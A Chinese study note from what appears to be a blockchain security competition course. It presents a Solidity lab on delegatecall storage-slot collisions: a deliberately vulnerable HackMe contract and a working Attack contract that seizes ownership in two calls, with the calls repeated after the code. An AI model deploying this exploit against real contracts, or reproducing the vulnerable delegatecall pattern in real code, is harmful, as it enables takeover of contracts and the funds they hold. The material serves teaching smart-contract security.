区块链国赛笔记 21｜合约安全实验：delegatecall 与存储槽覆盖

// SPDX许可证标识：MIT
pragma solidity ^0.8.17;

/*
这是先前漏洞利用的进阶版本。

Alice部署Lib合约及传入Lib地址的HackMe合约
Eve部署传入HackMe地址的Attack合约
Eve调用Attack.attack()
Attack合约现已成为HackMe的所有者
原理说明：
注意Lib和HackMe中的状态变量定义方式并不相同。这意味着调用Lib.doSomething()将会改变HackMe内的第一个状态变量，
而这个变量恰好是lib的地址。

在attack()函数中：
第一次doSomething()调用修改了HackMe中存储的lib地址，此时lib地址已被设置为Attack合约地址。
第二次doSomething()调用实际上执行了Attack.doSomething()，在这个函数中我们修改了所有者。
*/

contract Lib {
uint public someNumber;

function doSomething(uint _num) public {
someNumber = _num;
}
}

contract HackMe {
address public lib;
address public owner;
uint public someNumber;

constructor(address _lib) {
lib = _lib;
owner = msg.sender;
}

function doSomething(uint _num) public {
lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
}
}

contract Attack {
// 保持与HackMe完全相同的存储布局
// 这样才能正确更新状态变量
address public lib;
address public owner;
uint public someNumber;

HackMe public hackMe;

constructor(HackMe _hackMe) {
hackMe = HackMe(_hackMe);
}

function attack() public {
// 覆盖lib地址（将本合约地址转换为uint160后转为uint256类型）
hackMe.doSomething(uint(uint160(address(this))));
// 传入任意数值参数，实际会触发下方doSomething()函数的执行
hackMe.doSomething(1);
}

// 函数签名必须与HackMe.doSomething()保持一致
function doSomething(uint _num) public {
owner = msg.sender;
}
}

// 第一次调用：修改lib地址为攻击合约地址

hackMe.doSomething(uint(uint160(address(this))));


// 第二次调用：实际执行Attack.doSomething()，修改owner

hackMe.doSomething(1);